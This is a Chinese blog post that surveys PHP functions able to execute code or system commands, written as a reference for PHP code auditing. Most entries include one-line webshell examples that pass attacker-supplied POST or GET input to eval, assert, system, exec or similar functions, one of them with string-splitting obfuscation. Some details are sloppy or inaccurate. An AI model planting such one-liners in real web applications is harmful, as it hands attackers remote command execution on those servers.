php常见命令执行函数
本文最后更新于192 天前,其中的信息可能已经过时

简介

对php不太熟悉,之前只是简单的过了一遍,本文章记录一下php几个常见的命令执行函数,目的是方便以后审计php代码时能够快速定位致命rce口子。

代码执行函数

eval()

该函数用于将一个字符串作为 PHP 代码执行,自php4到8都可以使用,传递执行代码参数时要使用分号结尾,调用会直接返回执行命令结果。

使用示例:

<?php @eval($_POST['cmd']);?>

使用@是为了屏蔽报错信息

assert()

assert函数与eval差不多,也是将传递的参数当作php代码执行,但是该函数调用可以不需要分号结尾。调用时直接返回执行代码结果,assert函数在php4至php8版本都可使用,不过在php8版本中默认是被禁用的。

使用示例:

<?php @assert($_POST['cmd'])?>

call_user_func()

call_user_func() 函数是 PHP 中的一个内置函数,用于调用用户自定义函数或者一个回调函数,目前php所有版本都可调用。

使用示例1:

<?php @call_user_func("assert",$_POST['cmd3']); ?>

使用示例2:

<?php
// 使用 call_user_func() 调用 shell_exec 函数,并传递要执行的命令
$output = call_user_func('shell_exec', 'ipconfig');
// 输出命令执行结果
echo $output;
?>

使用示例3:

<?php
$a = call_user_func($_POST["funcation"],$_POST["cmd"]);
echo $a;
?>

create_funcation()

create_funcation()函数用于在运行时创建匿名函数,可在中添加执行代码函数,该函数PHP 7.2 版本中已经被弃用,在 PHP 8.0 版本中被移除是。

使用示例:

<?php $func =create_function('',$_POST['cmd']);$func(); ?>

函数的第一个参数是参数列表字符串,这里为空字符串,表示匿名函数没有参数;第二个参数是函数体字符串,使用system()函数体执行命令。

array_map()

array_map() 函数可以将指定的函数应用于数组中的每个元素,并返回一个新的数组,其中的元素是原始数组中对应元素经过指定函数处理后的结果。PHP 5、PHP 7 以及 PHP 8版本都支持使用该函数。

这个函数的语法是:

array_map(callable $callback, array $array, array ...$arrays): array
  • $callback 是要应用于每个数组元素的回调函数,它可以是一个字符串表示的函数名,也可以是一个匿名函数。
  • $array 是要处理的数组,它可以是一个或多个数组。
  • $arrays 是可选参数,用于指定要一起处理的其他数组。

使用示例:

<?php
    $cmd_array[0] = 'whoami';
    $cmd_result=array_map('system',$cmd_array);
    echo $cmd_result;
?>

指定array_map函数的第一个参数为system命令执行函数,第二参数数组cmd_array索引0内容为执行命令内容,执行后该函数会遍历cmd_array数组的所有成员使用system函数。

call_user_func_array()

ChatGPT

call_user_func_array() 允许你调用一个回调函数,并将一个数组作为参数传递给这个回调函数。这个函数的主要作用是以数组的形式动态地调用一个函数或方法。该函数在php4版本后均支持使用。

该函数使用语法:

call_user_func_array(callable $callback, array $param_arr)

与上面的array_map()使用基本一样,第一个参数为指定函数,第二个参数为数值,执行时会使用第一给参数的函数去遍历执行指定数组中的所有成员。

使用示例:

<?php
$cmd = $_POST['cmd'];
$array[0] = $cmd;
call_user_func_array('system',$array);
?>

array_filter()

array_filter() 函数会遍历数组中的每个元素,并根据回调函数的返回值来确定是否保留该元素。如果不提供回调函数,则会默认移除所有等价于 false 的值。该函数最早出现在php 4.0.6版本中,之后的所有版本都可使用此函数。

函数语法:

array_filter(array $array, callable|null $callback = null, int $flag = 0): array
  • $array 是要过滤的数组。
  • $callback 是一个可选参数,用于指定一个回调函数,用于确定是否保留数组中的每个元素。如果提供了回调函数,数组中的每个元素都会被传递给这个函数进行判断。只有返回 true 的元素才会被保留在结果数组中。如果不提供回调函数,则默认会移除所有等价于 false 的值(例如,null0false''array())。
  • $flag 是一个可选参数,用于指定回调函数的行为。你可以使用 ARRAY_FILTER_USE_KEY 来告诉 PHP 在回调函数中使用数组键名而不是数组值。

总体而言和上两个array_map()、call_user_func_array()函数使用方法一样,只不过将参数的前后顺序颠倒了一下,第一参数为数组,第二参数为函数名。

使用示例:

<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    array_filter($array1,'system');
?>

uasort()

uasort() 是 PHP 中的一个数组排序函数,该函数会根据回调函数的返回值对数组进行排序,保持数组的键和值的关联关系。它不会改变数组的键值对的顺序,而是根据回调函数比较键值对的值来进行排序。测试可在php 5.6版中使用。

使用语法:

uasort(array &$array, callable $callback)
  • $array 是要排序的关联数组,排序会影响原始数组。
  • $callback 是一个用于比较数组元素的回调函数。它接受两个参数,表示数组中的两个元素,然后返回一个整数,用于确定它们的顺序。如果第一个元素应该排在第二个元素之前,则返回一个小于 0 的值;如果两个元素相等,则返回 0;如果第一个元素应该排在第二个元素之后,则返回一个大于 0 的值。

使用示例:

<?php
    @usort($_GET,'asse'.'rt');
?>

preg_replace()

preg_replace(‘正则规则’,’替换字符’,’目标字符’),但是该函数的/e修饰符在php 5.5版本后被取消了,之实用与5.5之前的版本

执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
<?php
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。
 
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

命令执行函数

system()

system() 函数是 PHP 中用于执行操作系统命令的一种方式,该函数会执行指定的命令,并返回命令的输出。如果提供了 $return_var 参数,则命令的返回状态会被存储在这个变量中。如果命令执行成功,则返回命令的输出;如果命令执行失败,则返回 false

该函数最早出现在PHP 3.0.7 版本中,可在目前后续所有版本中使用。

使用语法:

system(string $command, &$return_var): string|false
  • $command 是要执行的操作系统命令。
  • $return_var 是一个可选参数,用于存储命令的返回状态。如果提供了这个参数,命令的返回状态会被存储在这个变量中。

使用示例:

<?php system($_POST['cmd']);?>

passthru()

passthru() 函数是 PHP 中用于执行外部命令并将输出直接发送到标准输出流的一种方式,与上面system()函数类似。它与其他函数的区别在于它将命令的输出直接发送到 PHP 的输出缓冲区,而不是返回给调用者。

使用语法:

passthru(string $command, &$return_var)
  • $command 是要执行的操作系统命令。
  • $return_var 是一个可选参数,用于存储命令的返回状态。如果提供了这个参数,命令的返回状态会被存储在这个变量中。

使用示例:

<?php passthru($_POST['cmd']);?>

exec()

exec() 函数会执行指定的命令,并将命令的输出作为字符串返回。如果提供了 $output 参数,则命令的输出会被存储在这个数组中,每行作为数组的一个元素。如果提供了 $return_var 参数,则命令的返回状态会被存储在这个变量中。

使用语法:

exec(string $command, array &$output, int &$return_var)
  • $command 是要执行的操作系统命令。
  • $output 是一个数组,用于存储命令的输出。如果提供了这个参数,命令的输出会被存储在这个数组中。
  • $return_var 是一个变量,用于存储命令的返回状态。如果提供了这个参数,命令的返回状态会被存储在这个变量中。

使用示例1:

<?php echo exec($_POST['cmd']);?>

但是输出结果时只会显示最后一行的结果。

使用示例2:

<?php
    exec($_POST['cmd'],$output);
    print_r($output);
?>

添加命令输出数组,然后在打印输出,解决只能显示最后一行的问题。

pcntl_exec()

pcntl_exec() 是 PHP 中的一个函数,用于在当前进程中执行另一个程序。它通常与 pcntl_fork() 配合使用,用于在子进程中启动一个新的程序。该函数会用指定的程序替换当前进程的代码和数据,并开始执行这个程序。它会完全取代当前进程,因此当前进程的状态和数据都会丢失。

cntl_exec() 函数是在 PHP 4.2.0 版本中引入的,并且在后续的 PHP 版本中一直存在。因此,只要PHP 版本是 4.2.0 及更高版本,并且已经安装了 PCNTL 扩展,就可以使用 pcntl_exec() 函数。且该函数通常只能在类 Unix/Linux 操作系统中使用,因为它是 PHP 的进程控制扩展(Process Control)提供的函数,而这些操作系统提供了与进程相关的底层系统调用和功能。

使用语法:

pcntl_exec(string $path, array $args = [], array $envs = [])
  • $path 是要执行的程序的路径。
  • $args 是一个数组,包含了要传递给程序的命令行参数。
  • $envs 是一个可选的数组,包含了要设置的环境变量。

使用示例:

<?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>

shell_exec()

shell_exec() 函数会执行指定的命令,并将命令的输出作为字符串返回。如果命令执行成功,则返回命令的输出;如果命令执行失败,则返回 null。该函数从PHP 4.0.0版本开始启用,之后的版本都可使用。

使用语法:

shell_exec(string $cmd)
  • $cmd 是要执行的操作系统命令。

使用示例:

<?php echo shell_exec($_POST["cmd"]); ?>

popen()/proc_open()

popen()函数用于打开一个管道,允许从外部程序获取输出或向其发送输入。它以”r”(只读)或”w”(只写)模式打开一个进程,并返回一个文件指针。

popen()使用语法:

popen ( string $command , string $mode )

使用示例popen():

<?php
$handle = popen('whoami', 'r');
$output = fgets($handle);
echo $output;
pclose($handle);
?>

proc_open()使用语法:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
  • $cmd:要执行的命令。可以是一个完整的命令,也可以是一个数组,数组的第一个元素是命令,其余元素是参数。
  • $descriptorspec:一个描述符规范数组,用于指定子进程的标准输入、输出和错误流的配置。
  • $pipes:一个引用数组,用于存储与子进程的标准输入、输出和错误流相关联的管道。
  • $cwd(可选):指定子进程的工作目录。
  • $env(可选):指定子进程的环境变量。
  • $other_options(可选):其他选项,如设置子进程的资源限制等。

使用示例proc_open():

<?php
$cmd = $_POST['cmd'].">> 1.txt";
//此时的$cmd=whoami >> 1.txt
popen("$cmd",'r'); 
//实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>

反应号

反引号(“)通常用于执行系统命令,并将其结果返回给 PHP 脚本。这种方法通常被称为“反引号运算符”或“反引号操作符”,PHP 7.0 开始,它已被标记为“废弃”,但它仍然有效。

使用示例:

<?php echo `whoami`?>
如果觉得本文对您有所帮助,可以支持下博主,一分也是缘😊
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇